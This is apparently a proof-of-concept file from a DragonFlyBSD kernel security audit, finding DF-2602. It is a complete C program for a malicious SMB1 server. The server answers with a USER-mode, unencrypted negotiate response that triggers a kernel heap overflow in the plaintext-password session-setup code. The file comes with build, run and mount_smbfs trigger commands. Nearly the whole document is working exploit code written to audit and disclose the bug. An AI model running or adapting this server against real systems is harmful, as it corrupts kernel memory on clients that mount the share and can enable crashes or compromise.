DragonFlyBSD Kernel Audit
DF-2602 / smb_evil_user_dbg.c
← back to finding ↓ download raw
/*
 * DF-2602 malicious SMB1 server.
 *
 * Same skeleton as findings/poc/DF-2566/smb_evil.c, but the NEGOTIATE
 * response advertises USER security mode (SMB_SM_USER=0x01) WITHOUT
 * encryption (SMB_SM_ENCRYPT bit clear).  That selects the *plaintext*
 * password branch in smb_smb_ssnsetup() (sys/netproto/smb/smb_smb.c:265),
 * where the bug lives:
 *
 *   plen = strlen(pbuf) + 1;                 // pbuf = iconv-CONVERTED pw
 *   uniplen = plen * 2;
 *   ntencpass = kmalloc(uniplen, ...);        // sized by CONVERTED length
 *   smb_strtouni(ntencpass, smb_vc_getpass(vcp));  // writes ORIGINAL length
 *
 * When vc_toserver shortens multi-byte chars (UTF-8 -> single byte),
 * strlen(pbuf) < strlen(original) and smb_strtouni overflows ntencpass.
 *
 * The overflow fires CLIENT-SIDE while BUILDING the SessionSetup request,
 * so the server merely has to send the USER-mode negotiate response; the
 * SessionSetup response itself is irrelevant.
 *
 * Build (guest): cc -o smb_evil_user smb_evil_user.c
 * Run (guest):   ./smb_evil_user <port>           # then mount_smbfs to it
 * Trigger(root): mount_smbfs -E UTF8:ISO8859-1 -I 127.0.0.1:<port> \
 *                     //g@127.0.0.1/s /mnt/s
 *   (-E UTF8:ISO8859-1 sets vc_toserver to a shrinking converter; the
 *    password supplied to mount_smbfs must contain multi-byte UTF-8 chars
 *    so strlen(converted) < strlen(original).)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>

static int verbose = 1;

static void put32(unsigned char *b, int off, uint32_t v){ int i; for(i=0;i<4;i++) b[off+i]=(v>>(8*i))&0xff; }
static void put16(unsigned char *b, int off, uint16_t v){ b[off]=v&0xff; b[off+1]=(v>>8)&0xff; }

static int readn(int fd, void *buf, size_t n){
    size_t got=0; unsigned char *p=buf;
    while(got<n){ ssize_t r=read(fd,p+got,n-got); if(r<=0) return -1; got+=r; }
    return 0;
}
static int writen(int fd, const void *buf, size_t n){
    size_t put=0; const unsigned char *p=buf;
    while(put<n){ ssize_t r=write(fd,p+put,n-put); if(r<=0) return -1; put+=r; }
    return 0;
}

static void send_smb(int fd, const unsigned char *msg, size_t len){
    unsigned char hdr[4];
    hdr[0]=0x00; hdr[1]=0x00;
    hdr[2]=(len>>8)&0xff; hdr[3]=len&0xff;
    if(writen(fd,hdr,4)<0||writen(fd,msg,len)<0){ perror("write"); }
    if(verbose){ fprintf(stderr,"  [srv] send %zu-byte SMB (cmd=0x%02x)\n", len, msg[4]); }
}

static void mkhdr(unsigned char *h, uint8_t cmd, uint32_t status,
                  uint16_t tid, uint16_t pid, uint16_t uid, uint16_t mid){
    memset(h,0,32);
    h[0]=0xff; h[1]='S'; h[2]='M'; h[3]='B';
    h[4]=cmd;
    put32(h,5,status);
    h[9]=0x80;             /* Flags: reply bit */
    put16(h,10,0x0000);    /* Flags2 */
    put16(h,24,tid); put16(h,26,pid); put16(h,28,uid); put16(h,30,mid);
}

static void handle_client(int cfd){
    unsigned char nb[4], *buf;
    if(readn(cfd,nb,4)<0) return;
    uint32_t rlen=((nb[1]&1)<<16)|(nb[2]<<8)|nb[3];
    if(rlen>0x10000){ return; }
    buf=malloc(rlen?rlen:1);
    if(rlen && readn(cfd,buf,rlen)<0){ free(buf); return; }
    if(verbose) fprintf(stderr,"[srv] NBSSN request type=0x%02x len=%u -> POSRESP\n", nb[0], rlen);
    free(buf);
    unsigned char posresp[4]={0x82,0x00,0x00,0x00};
    if(writen(cfd,posresp,4)<0) return;

    uint16_t uid=0x0100, tid=0x0200;
    for(;;){
        if(readn(cfd,nb,4)<0) return;
        if(nb[0]!=0x00){ return; }
        uint32_t mlen=((nb[1]&1)<<16)|(nb[2]<<8)|nb[3];
        if(mlen==0||mlen>0x100000) return;
        buf=malloc(mlen);
        if(readn(cfd,buf,mlen)<0){ free(buf); return; }
        if(memcmp(buf,"\xffSMB",4)!=0){ free(buf); return; }
        uint8_t cmd=buf[4];
        uint16_t pid=buf[26]|(buf[27]<<8);
        uint16_t rq_tid=buf[24]|(buf[25]<<8);
        uint16_t rq_uid=buf[28]|(buf[29]<<8);
        uint16_t mid=buf[30]|(buf[31]<<8);
        if(verbose){fprintf(stderr,"[srv] recv cmd=0x%02x pid=%u tid=%u uid=%u mid=%u len=%u\n",
cmd,pid,rq_tid,rq_uid,mid,mlen); if(cmd==0x73){int z;fprintf(stderr,"  [srv] ss-req hex:");for(z=0;z<mlen&&z<100;z++)fprintf(stderr," %02x",buf[z]);fprintf(stderr,"\n");}}

        unsigned char resp[512];
        size_t resplen;
        switch(cmd){
        case 0x72: { /* NEGOTIATE -> NT LM 0.12, USER security, NO encrypt */
            unsigned char *h=resp;
            mkhdr(h,0x72,0,rq_tid,pid,rq_uid,mid);
            int o=32;
            h[o++]=17;                 /* WordCount = 17 */
            put16(h,o,7); o+=2;        /* DialectIndex = 7 (NT LM 0.12) */
            h[o++]=0x01;               /* SecurityMode: USER (0x01), NO encrypt -> plaintext pw path */
            put16(h,o,16); o+=2;       /* MaxMux */
            put16(h,o,1); o+=2;        /* MaxVcs */
            put32(h,o,65536); o+=4;    /* MaxTx */
            put32(h,o,0); o+=4;        /* MaxRaw */
            put32(h,o,0); o+=4;        /* SessionKey */
            put32(h,o,0x0000); o+=4;   /* Capabilities */
            put32(h,o,0); put32(h,o+4,0); o+=8; /* SystemTime */
            put16(h,o,0); o+=2;        /* TimeZone */
            h[o++]=0;                  /* ChallengeLength = 0 (no encrypt) */
            put16(h,o,0); o+=2;        /* ByteCount = 0 */
            resplen=o;
            fprintf(stderr,"[srv] NEGOTIATE: USER mode, no encrypt -> plaintext-pw branch\n");
            send_smb(cfd,resp,resplen);
            break;
        }
        case 0x73: { /* SESSION_SETUP_ANDX -> success (overflow already fired client-side) */
            unsigned char *h=resp;
            mkhdr(h,0x73,0,rq_tid,pid,rq_uid,mid);
            uid=rq_uid?rq_uid:0x0100;
            put16(h,28,uid);
            int o=32;
            h[o++]=3;                  /* WordCount = 3 */
            h[o++]=0xff; h[o++]=0;
            put16(h,o,0); o+=2;
            put16(h,o,0); o+=2;        /* Action */
            put16(h,o,0); o+=2;        /* ByteCount = 0 */
            resplen=o;
            send_smb(cfd,resp,resplen);
            break;
        }
        case 0x75: { /* TREE_CONNECT_ANDX -> success */
            unsigned char *h=resp;
            tid=rq_tid?rq_tid:0x0200;
            mkhdr(h,0x75,0,tid,pid,rq_uid,mid);
            int o=32;
            h[o++]=3;
            h[o++]=0xff; h[o++]=0;
            put16(h,o,0); o+=2;
            put16(h,o,0); o+=2;        /* OptionalSupport */
            put16(h,o,6); o+=2;        /* ByteCount = 6 */
            memcpy(h+o,"A:\0FAT",6); o+=6;
            resplen=o;
            send_smb(cfd,resp,resplen);
            break;
        }
        default: {
            unsigned char *h=resp;
            mkhdr(h,cmd,0xC0000022u, rq_tid,pid,rq_uid,mid);
            h[5]=0x02; h[6]=0; h[7]=0; h[8]=0;
            int o=32; h[o++]=0; put16(h,o,0); o+=2;
            resplen=o;
            send_smb(cfd,resp,resplen);
            break;
        }
        }
        free(buf);
    }
}

int main(int argc, char **argv){
    int port = argc>=2 ? atoi(argv[1]) : 1139;
    signal(SIGPIPE,SIG_IGN);
    int s=socket(AF_INET,SOCK_STREAM,0);
    int one=1; setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&one,sizeof(one));
    struct sockaddr_in sa; memset(&sa,0,sizeof(sa));
    sa.sin_family=AF_INET; sa.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
    sa.sin_port=htons(port);
    if(bind(s,(struct sockaddr*)&sa,sizeof(sa))<0){ perror("bind"); return 1; }
    if(listen(s,1)<0){ perror("listen"); return 1; }
    fprintf(stderr,"[srv] DF-2602 malicious SMB1 server (USER/no-encrypt) on 127.0.0.1:%d\n", port);
    for(;;){
        int c=accept(s,NULL,NULL);
        if(c<0) continue;
        fprintf(stderr,"[srv] client connected\n");
        handle_client(c);
        close(c);
        fprintf(stderr,"[srv] client done\n");
    }
    return 0;
}